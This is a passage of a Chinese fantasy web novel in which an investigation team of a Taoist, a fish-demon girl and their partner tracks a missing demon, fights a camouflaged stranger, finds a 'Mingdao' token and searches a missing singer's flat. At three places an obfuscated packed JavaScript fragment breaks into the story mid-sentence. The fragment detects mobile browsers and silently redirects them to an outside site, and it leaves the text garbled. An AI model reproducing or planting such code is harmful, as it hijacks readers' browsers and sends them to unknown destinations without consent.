不迷路的妖怪 由于搜查令还没下来,不得已调查组只能改了安排,先去了猴妖失踪的后山。 驱车到了后山附近,两人一妖开始寻找监控最后显示的地方。 一个小时后。 “我怎么感觉,这个地方我们刚刚是不是走过?” 将自己包裹得严严实实的江元白额角渗着薄汗,轻喘着气瞧着面前略显熟悉的场景,转头怀疑地看向秦巡。 “咳咳……”秦巡面色尴尬,道:“是吗?” 这附近每个地方在他看来长得差不多,再加上导航莫名其妙地时灵时不灵的,他也不知道他们现在具体在哪里。 “所以我们是迷路了吗?” 啃着棒棒糖的余一安歪着头问道。 “你要这么说,也可以。”秦巡干笑。 “……” 江元白深吸一口气,朝他伸出手,道:“算了,地图给我,我来。” 秦巡出门前特意准备了一张地图,上面用红笔标出来了具体地点。 半小时后。 江元白盯着树干上自己之前做下的记号,面色有些僵硬。 深吸口气,他就不信了,重新选了个方向走去。 又是半小时后。 看着周围愈发郁郁葱葱的草木,江元白已经面无表情。 不敢置信,长到现在二十一年来,他第一次发现自己竟然还是个路痴。 一旁的秦巡已经乐不可支,嘲笑道:“看来你来也不行啊。” “那怎么办?” 江元白生气,江元白无可奈何。 他只能抑制住内心中把对方揍一顿的欲望。 秦巡和他都不行,看来只能…… 江元白和秦巡一同将视线转到面不红气不喘,仿佛出来郊游一般的余一安身上。 江元白:“要不,傻鱼你试试?” 余一安眨巴着眼,点头:“好啊。” 说完像是发现什么,不满道:“不准叫我傻鱼,臭白白!” “下次一定。”十分敷衍的语气。 …… 十五分钟后。 已经有些疲惫的秦巡看着前面十分淡然带路的余一安,小声对江元白道:“你觉得,她真的能行吗?” 累得满头是汗,开始感觉浑身有些难受的江元白闻言白了他一眼:“不行你上?” “算了。”秦巡摸了摸鼻子,撇嘴道。 三十分钟左右后。 终于,余一安停了下来,看了看四周,开口:“好像,到了。” “到了?” 气喘吁吁的秦巡赶紧拿出照片到处对比一下,睁大了眼,震惊道:“我去!” “真的是这里!小鱼你是这个!” 他竖起了大拇指。 “嘿嘿。” 余一安抬起下巴十分高兴地接受了对方的夸奖。 “……” 江元白神色微妙,闭着嘴没说话。 他不承认这条傻鱼居然比他厉害。 “我们先休息会吧,顺便补充点体力。” 从出门到现在已经过了快四个小时,已经到下午一点了。 江元白从背包里拿出了提前准备的干粮和矿泉水,准备吃午饭。 秦巡随便找了块地方,也不在乎脏不脏,直接一屁股坐了下去,然后拿出东西吃了起来。 余一安则在自己的小挎包里掏啊掏,先是从里面拿出了一个巴掌大精致的小木桌。 只见小木桌放在地上就开始慢慢变大成一个四四方方的桌子。 一旁没见过世面的两人瞳孔震惊。 “你这是啥?” 秦巡先开口问道。 余一安奇怪地看了他一眼,道:“桌子呀。” “你桌子怎么会变大?” “大祭司给我做的。” “你没有吗?” 说完她还有些贴心地又展示了下变大变小的桌子。 “……没有。” 秦巡表示是他见识浅薄了。 江元白在一旁忽然开口道:“这应该是法器。” “在以前灵气还没衰落的时候,一些擅长炼器的人会炼制出类似这种的法器。” “不过炼制桌子的还是第一次见。” “嗯嗯嗯!”余一安点着头道:“白白……哦不小道士你好厉害!” 她笑嘻嘻地开口:“大祭司还给我做了两个小凳子。” “先借你一个吧。” 送当然是不可能送的,这可是大祭司专门给她做的。 只见她又从小挎包里掏出两个小凳子,像刚才一样如法炮制。 江元白也不客气,直接拿了过来坐下。 毕竟谁也不喜欢站着吃东西。 接着余一安继续从挎包里面掏出来一份装着菜的盒子,然后又掏出来一盒,一盒接一盒…… 最后竟然近十个盒子整整齐齐码在桌子上。 秦巡目瞪口呆。 秦巡不可思议。 “你是出来春游的吗?” 啊……不对…… “你那个袋子怎么那么能装?!” 还没等余一安解释,就见江元白若有所思道:“你那是芥子空间吧?” 他之前就有些怀疑,所以也没有特别惊讶。 “对呀,”余一安不知道想到了什么,神色略微黯然了一瞬,“这是我娘亲留给我的。” 但很快她又笑了起来,兴致勃勃道:“里面能放好多东西呢。” “你们以后有什么东西可以放我这里!” 闻言,秦巡十分开心地答应了。 江元白倒是还记得一件事,道:“你这些菜,怎么来的?” 余一安不假思索道:“你给的钱去楼下饭店买的呀!” 因为不知道出去多长时间,江元白给了些零钱让余一安买些饭打包了带路上。 但是,他怎么记得…… “我给的那些钱应该不够买这些吧?”江元白十分疑惑。 “是呀。”余一安用力点点头,“老板说不够,所以我给了他一颗金豆!” “什么?!”旁听的秦巡瞪大了眼。 江元白则坐在小板凳上,面无表情地啃了一口小面包。 果然是没有对比,就没有伤害。 “我想起来白白昨天给我放的动画片里面说金子也能作为货币,我就给了老板一颗。” “老板特别高兴,还给我多做了两个菜呢!” 余一安解释道。 秦巡一脸怀疑人生。 “是可以,但是……” 但是谁会拿金子交易啊。 江元白在心里补充秦巡没说完的那句话。 “下次别这样做了。”秦巡有气无力道。 多亏啊。 接着他给余一安解释了这其中的原因。 余一安听完恍然大悟,道:“原来是这样呀。” “那我下回不用了。” 她乖乖地答应着。 江元白依旧不语,只一味地啃着手中的面包。 这苦逼的生活。 余一安将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376597|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌上的饭菜一一揭开,各种不同菜肴的香味飘散在空气中。 “好香!”秦巡感慨。 “你们要吃吗?”十分大方的余一安道。 “好嘞!那我整点儿!谢谢小鱼!”秦巡十分开心,还不忘记道谢。 “白白你要一起吗?”余一安转头看向江元白。 “谢谢,不用了。”江元白木着脸,喝了口水,拒绝了对方的提议。 他刚刚一个劲吃面包,现在撑着了。 “好吧。” 余一安也没有在意,拿了筷子开始框框干饭。 不得不说,楼下的老板厨艺真好啊。 就比白白差一点。 吃饱饭,收拾干净垃圾,调查组终于开始他们今天的主要任务。 这个地方靠近山底,不远处还能看到游乐园的围墙,围墙上是一个上了锁的铁门。 秦巡似乎是突然想起来,开口道:“我们怎么不从游乐园里面直接过来?” 江元白瞥了他一眼,眼神并不是那么友好。 秦巡这时候反应过来行程是他负责安排的,顿时嘿嘿讪笑一声。 他们开始四处细细察看着附近的环境,看看有没有什么异常的地方。 山林低处的乱石堆间野草蔓生,枯叶腐土味混着青草气。 不一会儿,江元白似乎就发现了一点蛛丝马迹,招呼着一人一妖过去。 “你们过来看这里,”江元白带好手套,蹲下身指着地上一处地方道:“这里有明显的踩踏痕迹。” 顺着他指的方向看去,只见那处的植物叶片有些被踩进了泥土里,留下了一个个深浅不一的鞋印。 偶尔有些草木被拦腰折断,保持着倒伏状态,折断的部分有些干枯,呈现出发黄状态,能够看出来折断时间大约就在最近一周内。 沿着这条痕迹望去,能够看到类似的痕迹蔓延进山林深处。 “是这里?”秦巡举着相机拍了几张现场照片。 “先循着这些痕迹追踪看看。” 江元白做出决定。 一人一妖都没有意见,点头同意。 他们顺着这些痕迹边缘往深处前行,小心避让,不让这些痕迹受到破坏。 江元白分析道:“这些脚印尺寸不一,步幅差异较大,还有交叉重叠的部分,大概率是两人同行。” “为什么是两个人?”余一安好奇道。 江元白看了她一眼,解释道:“你看,这些脚印长宽比例是有区别的,而且脚印的朝向角度也并不一致。” “最关键的是,这里出现了两种截然不同的鞋底花纹。” “哦……”余一安若有所思地点点头。 “步长规律,压力分布均匀,后跟印记较深……” 江元白一边对比着,一边得出结论:“这时候他们应该是步行的,速度较慢。” “此时作案者大约还没下手。” 说着,他们就发现前方一片区域忽然出现了十分显眼的凌乱痕迹。 树枝横折,草叶倒伏,树干划痕交错,脚印杂乱斑驳,枯叶被深深碾进了泥里,仔细观察还能隐约看到一些褐色的血迹残留。 “这里应该就是案发地点了,”江元白快步走上前去,缓缓道:“此时作案者准备下手,被受害者发现后在此处进行了激烈反抗。” 他拿出一张黄色的符纸,准备察看附近是否有道术或者妖力使用的痕迹。 “簌簌——” “有人?” 余一安忽然转头朝着发出声音的地方看了过去。 9. 超厉害的妖怪 江元见状白立即反应过来,转头看向已经冲出去的余一安。 “什么人?”秦巡愣了下,也反应了过来。 只见余一安瞬间冲出百米,和一个躲在暗处的,身上穿着迷彩色斗篷的人打斗了起来。 红色与绿色的身影你来我往,迅速交错又拉开,泥土和树叶裹挟在一起,四处飞溅。 “厉害了鱼……”秦巡看着缠斗在一起的两人,忍不住开口。 江元白瞥他一眼,没再看远处打斗的场景,冷静地交代秦巡:“别看了,找找地上有没有什么东西。” 这时候有人出现在这里,要么是来抹除痕迹,要么是落了什么东西。 “好。”秦巡很有效率地开始四处翻找,连石头底下都没放过。 两人在这边地毯式搜寻,另一边还在继续激烈的打斗。 余一安裹挟着妖力的一击被对方堪堪躲过后,她不满地皱皱眉,然后伸手从随身挎包里掏出来了一柄近一米长的大刀。 对面的迷彩人见状身形似乎停滞了一瞬。 “吃我大刀!” 余一安大喝一声,手上舞着泛着寒光的大刀朝对方冲了上去。 迷彩人不得已拼尽全力防守了几个回合,身上的迷彩变得破破烂烂。 然而余一安身上依旧毫发无损。 再继续打斗下去估计会输给这条鱼妖。 迷彩人寻思着,看不到的脸色上一沉,咬着牙掏出来张黄符,被余一安划了一刀后,捂着淅淅沥沥流着鲜血的伤口强行催动了符咒。 在余一安一刀劈过来时,对方竟然直接整个人钻进了土里,只留下来一地松散的泥土。 “?” 余一安呆了一瞬。 这么大个人呢? 她不信邪地在迷彩人消失的地方挖了一个坑都没有看到半个人影。 难道那不是人,是蚯蚓妖? 余一安一脸懵逼地回去,就看到两个在地上这里看看,那里翻翻的两个人。 “你们在干什么?” “找东西。”江元白头也不回道。 “小鱼,深藏不露啊!”秦巡一边找,一边不忘给对方竖一个大拇指。 “嘿嘿,谢谢。”余一安挠了挠自己的脑袋,毫不心虚地接受了这个夸赞。 “在山上我可是最厉害的。”除了大祭司。 她笑嘻嘻地对着两人吹嘘着自己。 秦巡在一边附和着,江元白却是看不下去了,道:“秦巡你赶紧找,傻鱼你也来。” “你才是傻鱼,傻道士!臭道士!” 余一安生气地瞪他一眼,然后好奇问道:“你们在找啥呀?” “可疑物品。”江元白言简意赅,寻找的动作不停。 “可疑物品?”余一安忽然举起手,道:“是这个吗?” “?” 江元白闻言抬起头,就看到余一安手中是一个全身呈现银色的小牌子。 大概长宽为5X2厘米的样子,十分小巧。 他从余一安手中接过银牌,仔细翻看。 余一安和秦巡见状都好奇地凑了过去。 银牌的正面是一个编号,刻着“37”这个数字,而背面则是一个似莲花状的花纹。 “这是……”江元白好看的眉头渐渐皱得越来越紧。 这个图案,如果他没猜错的话…… 他抬起头,眼神看向神色同样复杂的秦巡。 秦巡抿着唇,迟疑着道:“明道?” 明道是一个在这几年崛起的组织,里面的成员几乎全是道界的道士。 这个组织通过接取委托,赚取大量佣金,在短时间内吸收了大批经济日益拮据的道士为它卖力。 可以说,在社会的上层,这个组织赫赫有名。 据说只要他们接了委托,就必然完成。 而且这个组织不论善恶,为了完成任务可以说不择手段。 没想到这个案子居然还涉及了这个组织。 看来得去找会长讨论一下了。 解释了这个组织后,余一安有一个点没明白,她举手问道:“为什么那些道士要加入这个组织啊?” “因为穷。”江元白有些一言难尽,这件事他比较有发言权。 秦巡闻言却是嗤笑一声,眼中充满不屑。 “穷就能失了良心?只能说本来就是丧尽天良的东西。” 江元白没管他阴阳怪气的样子,少见地耐心为余一安解释。 自从建国以来,全世界灵气浓度持续衰退,这种衰退带来的直接影响就是妖怪的数量锐减,鬼魅精怪也所剩寥寥。 对于以驱邪捉妖为生的道士们而言,这无异于是一种灾难。 委托的数量断崖式下降,许多道士开始陷入入不敷出的境界,不少道士已经到了揭不开锅的地步。 慢慢的一些道士开始从事别的行业,但还有一些道士苦苦支撑,要么是舍不得道士这个身份,要么是没有其他手艺谋生。 直到“明道”这个组织横空出世,大批岌岌可危的道士如同抓住救命稻草一般涌了上去。 听完余一安张大了嘴,感叹道:“原来是这样啊!” “怪不得最近几十年里小妖怪越来越少了呢。” 温再玄也没和她说过这事,她也对这其中一无所知。 不过对于灵气衰退这件事她也没有什么别的想法,就算以后妖族都没了,那也是自然演化的定数。 过好当下就好了。 余一安对一切都抱有乐观的态度。 江元白从地上站起身,拍了拍身上莫须有的灰尘,眉宇间浮现一抹凝重,缓缓道:“若是这个组织参与进来,以妖怪协会的能力估计有点难搞。” “以协会的能力,干啥不难?”秦巡还蹲在地上,闻言冲着江元白翻了个白眼。 “算了,”江元白揉了下思考过度有些发胀的大脑,转头看向余一安,问道:“刚刚这个银牌你哪来的?” 余一安解释道:“刚刚那个人身上的。” “我从他身上拿过来的。” 她对方似乎对这个很看重的样子,于是就趁对方不注意悄悄摸了过来。 说到这里,余一安忽然又改口,有些困惑道:“不对,好像不是人……是蚯蚓妖。” 迷彩人身上并没有妖力流动的痕迹,但是又会钻土,这让余一安不能理解。 “蚯蚓妖?”秦巡不解。 江元白倒是摇摇头,否定了余一安的说法。 他沉吟片刻,道:“不是妖。” “也不是道士,”他琢磨了下,接着补充道,“大概率是普通人。” “怎么看出来的?”秦巡问道。 他倒是没有怀疑江元白的判断,只是十分好奇。 余一安闻言也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376598|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双目炯炯地盯着江元白。 “他动作间并没有使用道术术法的掐诀念咒,也看不出任何妖力波动。” 江元白继续解释道:“看对方打斗时的动作,我猜……大概率是古武世家那边的人。” “古武世家?” 余一安和秦巡异口同声道。 不同的是,余一安是疑惑,秦巡则是震惊。 “但是,”余一安想到最后对方逃走时的行为,疑惑道:“他为什么能够钻进土里面?” 这简直毁了她的一世英名。 想到这里她不开心地瘪瘪嘴。 江元白虽然刚才一直在找东西,但是也随时观察着那边的战况,迷彩人消失的画面他也看到了。 他能够确定的是对方拿出来的是一张遁土符,然而在符咒催发之前,他一点道术波动也没有看到。 想到这里,他摇摇头,在一人一妖的目光中道:“我也不是很清楚,等下次去协会的时候问问会长。” “而且,明道应该不会收古武世家的人,不知道为何这人有‘明道’的身份牌。” “好吧。”秦巡耸耸肩。 余一安倒是兴致勃勃,道:“那我们什么时候再去协会啊?” “过两天吧。” 江元白也没有说出来具体时间,不过他们确实需要找个时间回协会汇总一下当前所得的信息。 “等调查完莺九的住处后,我们就回协会一趟。” 考虑了片刻,他做下决定。 “好耶。” 余一安这下子又高兴了起来,她倒是要看看能从她手下溜走的人到底是谁。 她一定要和对方再比试一次,她能够看出来当时迷彩人和她打斗时似乎并未尽全力。 不过余一安并不认为对方能打得过她。 余一安从小便天生神力,修炼迅速远超同辈,自化形起就接受温再玄的训练,即便是单论身手也是不凡。 “我们继续在附近逛逛,看看是否还有什么线索。” “调查结束后就可以赶紧去下一个地点,我们时间不多。” 江元白看着时间已经是下午六点多了,他们得抓紧时间了。 接下来两人一妖分别在附近细致搜查了十来分钟,但是并没有再看到其他的什么可疑痕迹。 确认此处没有收获了,他们花了点时间处理了现场痕迹,然后沿着原来的路缓步下山。 山林间弥漫着潮湿的雾气,橙金色的夕阳映照在他们的背影上,影影绰绰。 …… 一小时后。 迷彩人逃走的土坑里,已经些许干燥的泥土表面忽然朝上涌动起来,细细碎碎的泥屑落下,一个布满油彩和泥土的手“倏”得伸了出来。 不一会儿一个黑乎乎的脑袋露在了外面。 仔细一看,正是那个钻土离开的迷彩人。 迷彩人嘴里“呸呸”地往外吐着泥,一边拨弄着自己的头发,露出来一张同样布满油彩看不出具体面目的脸。 脸上的表情看上去似乎有些发愁。 只见迷彩人双手撑在两边,稍微用力将自己从土里拔了出来。 他出来后再山林附近逛了两圈,好像在寻找什么东西,找了一会一无所获后,面色越发惆怅,口中念念有词。 “完蛋了,号码牌不见了……” “这下怎么回去和她解释啊……” 10. 走丢的妖怪 两人一妖回到山下,此时天色已经渐黑。 为了节省时间,他们决定从游乐园内穿过去。 游乐园的后门常年上锁,不过好在因为太过偏远,顶上并没有设置一些玻璃渣之类的防盗设施,也就是说他们要进去的话,需要从墙上翻过去。 余一安和秦巡首先动作十分利索地翻了过去,剩下江元白一个人还在外面。 他俩在里面等了好几分钟,都没有看到江元白过来的身影。 余一安没忍耐住,正打算翻过去看看时,一旁的紧闭的门忽然嘎吱一声开了。 江元白臭着一张脸从门外走了进来。 这两个家伙话刚说完就像两只灵活的猴子似的翻墙爬了进去,他连拦都拦不住。 他好像还没同意翻墙这个决定来着。 “你怎么把门打开的?” 余一安看看门,又看看江元白,十分困惑。 “一点小手段。” 江元白朝着他们走过去,语气淡然,看上去十分的不以为意,然而下巴的弧度却是比平常抬高了几度。 秦巡见状面色有些无语。 “哇偶好厉害!” 余一安闻言十分捧场地夸了好几句,然后眼巴巴地凑过去道:“我也可以学吗?” 看着对方亮晶晶的双眼,江元白本来打算拒绝的话堵在了嘴角,他有些不自在地撇过头去,喉间发出一道微不可闻的轻哼声。 “有空就教你。” “好耶!” 余一安顿时欢呼一声,兴高采烈的跳了起来,左边脸颊上的梨涡清晰可见。 一旁的秦巡却是面色古怪地看了江元白一眼。 他怎么不知道江元白这家伙这么好说话的? 在他的印象里,这家伙可是无利不起早的,没钱都使唤不了他干活的。 江元白没在意秦巡在想什么,他调整好了自己的面目表情,淡然道:“走吧,先从游乐园出去。” 然而,等他们穿过一片荒僻的地区,到达乐园内部区域时,才发现他们的想法过于理想了。 虽然是傍晚,但是乐园内此时依旧人山人海,一片璀璨灯海的景象。欢笑声与尖叫声交织在一起,旁边不时有小孩飞窜而过,后面跟着一串叫着喊着的家长。 人一多,江元白的脸色就越来越难看了起来。 他不喜欢人多的地方,又吵又闹,各种奇怪难闻的味道混杂在一起,再加上不时响起的刺破耳膜的尖叫声,让他感觉一阵阵的头疼。 “还好吧?”秦巡有些担心地问道,他也没想到这个点游乐园居然还有这么多人。 “没事,我们赶紧出去。” 他们说着话,转头准备让余一安一起快点离开时,却发现已经不见对方的人影。 这边的余一安还没有发现自己已经走丢失的事实。 众所周知,游乐园内不仅有各种刺激有趣的游乐设施,还配套着五花八门、飘香诱人的各色小吃摊。 余一安此时正在一个卖棉花糖的摊位前,正双眼一眨不眨地盯着那中年男人的动作。 她看着对方一只手上拿着一根竹签,另一只手往一个小洞里倒了一些细碎的白色颗粒物,没一会儿里面就冒出了一些棉花状的东西,不断地裹在竹签上,最后汇聚成了一团柔软的白色云朵。 余一安眼中霎时冒出惊奇的神色。 “妹妹,来份棉花糖吗?” 摊主见她在旁边站了半天,露出一个热情的笑容,招呼道。 “好啊!”余一安有些激动地点点头。 棉花糖欸,她还没吃过呢。 忽然余一安想起来人类界的东西需要用钱来交换的。 还好江元白今天早上给她的钱还没花出去。 “老板,”余一安挠挠头问道,“这个多少钱一个啊?” “不贵,十块钱。” 闻言,余一安掰着手指头数了数。 已知一个棉花糖十块,三个棉花糖三十,江元白今早给了她一百块,而三十比一百小,所以她身上的钱是够的。 算好了后余一安高兴地掏出垮包里的一百块钱递给摊主,道:“我要三个,谢谢!” 不一会儿,摊主就把做好的三份棉花糖和找剩的零钱递给了她。 余一安拿着棉花糖立马舔了一口。 绵软如云朵般的口感,入口即化,甜丝丝的味道在舌尖缓缓漾开。 好软!好甜! 余一安顿时满足地眯起了眼。 暂时满足了馋欲后,她准备将手中另外两份棉花糖送出去给江元白和秦巡,然而四处转了一圈,却发现怎么也找不到人。 这时,余一安后知后觉地发现,自己好像把两个人类弄丢了。 她一时间有些无措,随后想起来之前江元白说过可以用手机联系他。 但是余一安摸口袋时才想起来她并没有把手机带出门,因为她以前从来没有用手机的习惯。 啊……那该怎么办? 余一安苦着脸,小小的脑袋慢悠悠地转着,开始想办法。 一边想一边无意识地乱走,于是等她晃过神来就发现自己好像到了一个有些偏僻的地方。 这里应该是一个废弃的花房,锈蚀斑斑的铁艺穹顶爬满了绿油油的爬山虎,几丛红色的野蔷薇散在各处。 她转身打算离开,却被一道轻轻的咳嗽声吸引了注意力。 她顺着声音看去,却发现竟然是个她认识的人。 看着对方儒雅随和的样子,余一安神情忽然茫然了一瞬。 他叫什么来着? 首富? “你好啊。” 不管了,先打个招呼总是不会错的。 对方见到余一安先是怔了下,似乎是没想到居然会在这里见到她。 “你好呀,小朋友。”许漠坐在木椅上,手上杵着一根乌木拐杖,笑看着她。 “我比你大,”余一安闻言皱了皱鼻子,不满道,“应该我叫你小朋友才对。” “抱歉,”许漠看了看对方稚嫩的面颊,语气依旧十分温和,“是我忽略了。” “没事没事!” 余一安摆摆手,凑过去,歪着头问道:“你怎么也在这里?” “散散心。” “唔……好吧,”余一安挠挠头,忽然想起来什么,眨巴着眼,“对了,你上次不是说要给我讲我娘亲的故事吗?” 许漠闻言,有些无奈一笑,道:“你现在要听吗?” “嗯……” 余一安纠结了下,想起来自己好像还有事,只好按耐住心中的渴望,不怎么情愿地拒绝了。 “这次应该不行,下次可以吗?” 听着对方显得格外天真的话语,许漠手掌轻轻抚摸着拐杖,缓声道:“当然可以,我这里随时欢迎你的到来。” 余一安听到这句话顿时露出大大的笑容,眼中绽放出惊喜的光芒。 “你也是个好人。”她眉眼弯弯,认真地夸赞着对方。 昏暗的路灯下,许漠瞧着她灿烂的笑容,以及脸颊上浅浅的梨涡,忽然有些晃神。 “谢谢你啦!” 余一安的声音唤醒了他的神智,接着就听对方略有些苦恼地咕哝道:“不过下回不知道怎么找到你……” 他不由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376599|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得有些失笑,拿出自己自己随身携带的钢笔给对方写了自己的联系方式。 “这是我的联系方式,你可以通过这个联系我。” 许漠声音温和,将手中的写了一串数字的纸张递给对方。 余一安接过来好奇地看了眼,和江元白给她存在手机里面的数字好像哦。 想到这里,她突然想起来自己还处于走丢状态,于是她收好那张纸,继续问道:“那个…你能找到白白吗?” “我好像把他们弄丢了。” 许漠一时半会没能理解她在说什么。 想了一下,才反应过来:“你走丢了?” “要这么说,也算是啦。”余一安转了下脑子,点了点头。 “我没有他的联系方式,”许漠缓慢道,“不过我可以让秘书联系下苍会长。” 余一安闻言又感激地道了一次谢。 “不过你们来这里干什么?” 许漠随意一问。 余一安刚想回答,忽然就听到广播里似乎响起了她的名字。 “亲爱的游客朋友们,现插播一条寻人启事:余一安女士,您的朋友秦巡先生正在游客服务中心等您,请您听到广播后尽快前往汇合或联系工作人员。祝大家游玩愉快!” “啊白白在找我!”余一安听完后眼神一亮,露出惊喜的神色。 她急急忙忙和许漠告辞后就跑走了。 身后,许漠看着她的离去的背影,若有所思。 …… 一路上问路后,余一安没再耽搁,花了一段时间赶到了游客服务中心。 隔着不远余一安就看到了江元白有些单薄的身影。 “白白!” 余一安像个炮弹一样冲了过去,“唰”的一下停在了江元白的面前。 江元白本来在思考东西,忽然被她吓了一跳,顿时脸色不好了起来。 但是毕竟他和余一安认识不久,也不好意思直接骂她一顿。 只好硬邦邦地说了句“走了”,就转身径直离开了。 “?” 余一安在后面有些摸不着头脑,没办法只好跟了上去。 一边走一边思考,她觉得或许是自己把对方弄丢了,所以江元白可能是生气了。 想到这里,余一安凑上去,十分诚恳地道歉:“对不起呀白白,我不是故意把你们弄丢的。” 江元白一时之间没忍住,睨她一眼道:“不要叫我白白。” “还有,我没生气。” 他认真强调,努力做出一副平和的表情。 “好吧。” 余一安见他似乎真的没生气,就放下心来,蹦蹦跳跳地跟在了江元白身边。 看她的表现,江元白顿时感觉更郁闷了。 “对了,这个给你,”余一安把手中攥了许久的棉花糖递给江元白,然后突然发现了什么,四处看了看,问道:“秦巡呢?” “我不要,秦巡拿钥匙去了。” 江元白没好气地解释了秦巡的去处,并且拒绝了余一安的棉花糖投喂。 “真的不要嘛?” 余一安凑过去再次询问。 “不要。”口气硬邦邦的。 “真的吗?” “嗯。” “好吧。”余一安看上去似乎十分遗憾地叹了口气,然而动作却十分欢快地将两个已经开始融化的棉花糖三下五除二塞进了肚子里。 “……” 江元白偷瞄到对方的行为,一时之间噎住了。 算了,他和一个傻子生什么气。 于是今天的江元白非常迅速地将自己哄好了。 11. 照片上的妖怪 江元白带着余一安用完晚餐后,就到了莺九家楼下和秦巡汇合。 到达目的时,秦巡正倚在电线杆下“啪啪”地拍着蚊子。 “你们终于来了。” 见到他们,秦巡直起身来,一脸哀怨地撩起袖子展示自己被蚊子咬的包。 “……” 江元白不知道该说什么,毕竟某条傻鱼吃饭就用了一个小时。 “下次我会快点的!”余一安知道是自己耽搁时间了,笑嘻嘻道。 江元白轻咳一声转移话题:“钥匙拿到了吗?” 秦巡挠着被蚊子咬的地方,对他们甩了甩手里的钥匙,有气无力道:“拿到了。” “还好蒋云那里有备用钥匙,不然咱们就得破门而入了。” 不过,秦巡抬起头来看着眼前那栋挺有年代感的筒子楼,颇为不解道:“按理说,莺九怎么也算是个小歌星了,怎么还住在这么破的地方?” 在他印象里,那些有名气的明星怎么说至少也得有个大别野吧? 余一安挠挠头,猜测道:“这里可能是莺九在人类社会第一次住的地方吧。” 在她的记忆里,莺九就是一个很恋旧的妖怪,就连吃过的果子剩下的的果核也能够一直保存很久,直到发芽了才会小心用泥土埋起来。 听到她这么说,江元白没有接话,只是催促他们赶紧上去。 生锈的大门被“吱呀”一声打开,楼道的昏黄的声控灯骤然亮起,照亮了里面年代久远的楼梯与斑驳脱落的墙皮。 “这年头居然还有这么旧的楼。”秦巡走在前面,一边打量一边啧啧称奇。 脚步声在空荡的楼道回响,随着楼层层数的升高,他们发现走过的每层楼似乎都废弃了。 他们并没有看见有其他人居住的痕迹。 江元白有些不适地皱着眉,唇瓣紧抿。 霉味混杂着灰尘的味道时不时钻进他的鼻腔,让他感觉在这栋楼里面的每一时每一刻都是一种煎熬。 走在最后面的余一安满脸好奇,脑袋左顾右盼的,这里看看,那里瞧瞧,是不是还要上手摸一摸。 她第一次见到这种场景,而且这里还是莺九居住的地方。 江元白瞧见她的动作,不自觉间加快了脚步,想要离她远一点,结果差点踩到秦巡后脚跟上。 “走那么快投胎呢?” 秦巡吐槽了一句,身形却忽然停了下来。 七楼到了。 这栋楼最高有七层,从他们一路走上来的观察来看,这一整栋楼里面确实只住了莺九一个妖。 “也是,这年头还有谁会住在这种地方啊!” 秦巡感叹着,一边用手中的钥匙打开了那扇覆盖着斑驳绿漆的铁门。 看上去年纪起码比他还大。 秦巡在心里腹诽,然后推开了那扇门。 打开灯后,莺九的家内仿佛与外面构成了两个完全不同的世界。 莺九的家并不大,室内是温暖的鹅黄配色,圆木茶几上摆着已经快要枯萎的小黄花与手作陶罐,屋内随处可见各种可爱的毛绒小玩偶。 这是一个非常温馨舒适的家。 余一安看着仿佛每一处都透着暖融融的屋子,心中想:看来莺九之前在人类社会过得挺好的。 自从莺九下山后,三年里她一封对方的信都没收到过。 余一安倒是给莺九写过,但是这些信件往往都是一去不回,了无音讯。 看到莺九在这里似乎过得挺好的,余一安心中有些为她开心。 不过转念又想到莺九目前仍然下落不明的状态,她的情绪又瞬间低落下去。 他们从客厅进入卧室,能够看到卧室满满当当放了好几个置物架,看上去错落有致,在每个置物架上整整齐齐地摆满了各种各样的小玩意。 乱七八糟,好像什么都有。 什么五颜六色的羽毛、色彩斑斓的小石头、奇形怪状的种子等等,甚至他们还看到了好几个大小不一的龟壳。 看得出来莺九似乎有收集癖。 他们在莺九家里转了一圈,并没有看到什么可疑的东西。 “再仔细搜查一遍。”江元白环视一圈,强调道:“每个角落都要检查。” 于是两人一妖兵分三路分别去不同的地方翻找。 过了近一个小时后,他们在客厅汇合。 秦巡找到一个相框,上面是一张照片。 江元白戴着手套的手上则拿着一个黑色的盒子以及一叠厚厚的纸。 只有余一安两手空空。 她倒也没觉得尴尬失落,反而兴致勃勃地凑到秦巡边上去看他手上那张照片。 “这是什么照片?” 余一安是见过照片的,因为小鹿儿山上也有一家照相馆,老板是一个大熊猫妖,平常基本都在睡觉,算起来开业的时间每年大概只有两个月。 她自己也有一本属于她的厚厚的相册,不过在山上家里,她并没有带出来。 “这好像是两个小孩儿?” 秦巡一边说着,一边把相框递给余一安。 他刚刚已经把照片翻来覆去看了好几遍,这是一张合影,画面有些黑乎乎的,能看出来是两个小孩的合影。 江元白见状心里有些猜测。 下一刻余一安的话印证了他的猜测。 “这是我和莺九诶!” 她一脸兴奋,眼睛亮亮地盯着手中的照片。 她手指在上面给两人示意:“你们看,左边的是我!右边是莺九!” “嘿嘿,我以前好黑哦。” 